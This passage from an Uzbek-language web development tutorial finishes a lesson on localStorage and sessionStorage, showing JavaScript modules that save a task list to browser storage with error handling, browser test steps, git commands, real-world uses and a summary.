  } catch (xato) {
    console.warn(`Saqlangan vazifalar buzuq: ${xato.message}`);
    return null;
  }
}

Nimaga qarang:

  • Format — eksport bilan bir xil. {versiya: 1, vazifalar: [...]}. Shuning uchun o'qishda 10-qismdagi paketniOqi hamma tekshiruvni qiladi: JSON to'g'rimi, versiya 1 mi, har vazifada id, matn, bajarildi to'g'rimi. Saqlash ham "o'zimizga eksport, o'zimizdan import".
  • Ikki alohida try. Birinchisi omborga kirishni (SecurityError), ikkinchisi matnni (VazifaXatosi) ushlaydi. Xabarlar har xil — DevTools'da qaysi biri bo'lganini darhol ko'rasiz.
  • Kalit — SAQLASH_KALITI konstantasi. Format bir kun o'zgarsa, "vazifalar:v4" ga o'tasiz va eski yozuv yangi kodni buzmaydi.

assets/js/holat.js — ikki qator o'zgaradi:

js
import { VazifalarRoyxati } from "./royxat.js";
import { yukla } from "./saqlash.js";
// ...
export const holat = {
  vazifalar: VazifalarRoyxati.dan(yukla() ?? boshlangichVazifalar),
  filtr: "hammasi",
  tahrirId: null,
};

assets/js/asosiy.js — yangi import va bitta yordamchi funksiya; obuna(render) ikki joyda obuna(saqlaVaChiz) ga almashadi:

js
import { saqla } from "./saqlash.js";
// ...

// Ro'yxat o'zgarsa: avval xotiraga, keyin ekranga
function saqlaVaChiz() {
  saqla(holat.vazifalar);
  render();
}

function royxatniAlmashtir(malumotlar) {
  holat.vazifalar = VazifalarRoyxati.dan(malumotlar);
  holat.vazifalar.obuna(saqlaVaChiz);
  holat.filtr = "hammasi";
  holat.tahrirId = null;
  saqlaVaChiz();
}

// ...
// Ishga tushirish
holat.vazifalar.obuna(saqlaVaChiz);
render();

Import yangi ro'yxat yasaydi — unga ham saqlaVaChiz obuna bo'ladi va darhol bir marta saqlanadi. Ishga tushishda esa faqat render(): o'qilgan ro'yxatni qayta yozishdan foyda yo'q. Import yo'nalishi buzilmadi: holat → saqlash → paket → vazifa, aylana yo'q.

Bitta nozik joy. Yangi saqlash.js moduli paket.js ni oddiy import bilan oladi — saqlangan ro'yxatni o'qish uchun u ishga tushishdayoq kerak. Demak paket.js endi sahifa ochilishidayoq yuklanadi (statik import). Dinamik import() darsida yozgan paketniYukla() (await import("./paket.js")) endi yuklashni tejamaydi. Hozircha unga tegmang — zarari yo'q: modul bir marta yuklanadi, ikkinchi import keshdan oladi. Yakuniy loyihada (Saqlanadigan va sinxronlanadigan vazifalar ilovasi) buni o'lchab ko'ramiz, paketniYukla() ni olib tashlaymiz va paket.js uchun modulepreload ni qaytaramiz. Texnikaning o'zi to'g'ri — faqat bu holatda foydasi qolmadi.

Brauzerda sinang (Live Server):

  • Vazifa qo'shing, bittasini belgilang → F5 → hammasi joyida.
  • Application panelida vazifalar:v3 qiymatini buzing (masalan oxirgi } ni o'chiring) → F5 → konsolda Saqlangan vazifalar buzuq: Matn JSON emas. Eksportni to'liq oling., ro'yxat — boshlang'ich uchta.
  • Hamma vazifani o'chiring → F5 → ro'yxat bo'sh qoladi, boshlang'ich uchta qaytib kelmaydi.
  • Import qiling → F5 → import qilingan ro'yxat.

Bu to'rt holat Chrome 154 da tekshirildi.

bash
git add index.html assets/js/saqlash.js
git add assets/js/holat.js assets/js/asosiy.js
git commit -m "Vazifalar: ro'yxatni localStorage'da saqla"
git switch main
git merge feature/saqlash
git branch -d feature/saqlash
git push

10. Real ishda

  • Sozlamalar. YouTube ovoz balandligini, GitHub temani, Telegram Web oxirgi ochilgan chatni brauzer xotirasida eslab qoladi. Bularning hammasi — kichik, maxfiy bo'lmagan, yo'qolsa fojia bo'lmaydigan ma'lumot.
  • Kesh. Serverdan kelgan ro'yxatni localStorage da saqlab, keyingi ochilishda darhol ko'rsatish, keyin yangisini so'rash. vazifalar yakuniy loyihasida aynan shunday qilamiz (Saqlanadigan va sinxronlanadigan vazifalar ilovasi).
  • Kutubxonalar. React'dagi holat kutubxonalarida (masalan Zustand'ning persist qo'shimchasi) "holatni localStorage ga yoz" degan tayyor yechim bor — ichida bugungi setItem va JSON.stringify. React 17-qismda; hozir bilish shart emas.
  • Intervyu. "localStorage, sessionStorage va cookie farqi?", "Tokenni qayerda saqlaysiz va nega?" — frontend intervyusining doimiy savollari. Ikkinchisini keyingi darsda to'liq yechamiz.

Xulosa

  • localStorage — origin uchun doimiy, sessionStorage — tab uchun vaqtinchalik "kalit — qiymat" ombori; metodlari bir xil.
  • Faqat satr saqlanadi: obyekt va massiv — JSON.stringify bilan yoziladi, JSON.parse bilan o'qiladi, parse esa try ichida.
  • Taxminan 5 MB; oshsa — QuotaExceededError. Ombor umuman yopiq bo'lishi ham mumkin — SecurityError. Ikkalasi ham ilovani yiqitmasin.
  • storage hodisasi boshqa tablarga "ombor o'zgardi" deb xabar beradi, o'zgartirgan tabga emas.
  • Maxfiy ma'lumot — yo'q: sahifadagi har qanday skript omborni to'liq o'qiydi.

Keyingi dars: Cookie'lar JS'dan — har so'rov bilan serverga ketadigan kichik ombor: document.cookie, muddat, SameSite, JavaScript ko'rmaydigan HttpOnly va zamonaviy Cookie Store API.

Manbalar

  • HTML Living Standard: "Web storage" (Storage interfeysi, storage hodisasi) — html.spec.whatwg.org
  • MDN: "Web Storage API", "Window: localStorage property", "Window: storage event" — developer.mozilla.org
  • MDN: "Storage quotas and eviction criteria" — developer.mozilla.org
  • web.dev: "Storage for the web" — web.dev
Ulashish:Telegram'da

Izohlar (0)

Izoh yozish uchun kiring.

  • Hozircha izoh yo'q. Birinchi bo'ling!
localStorage va sessionStorage: brauzerda ma'lumot saqlash — IlmHamroh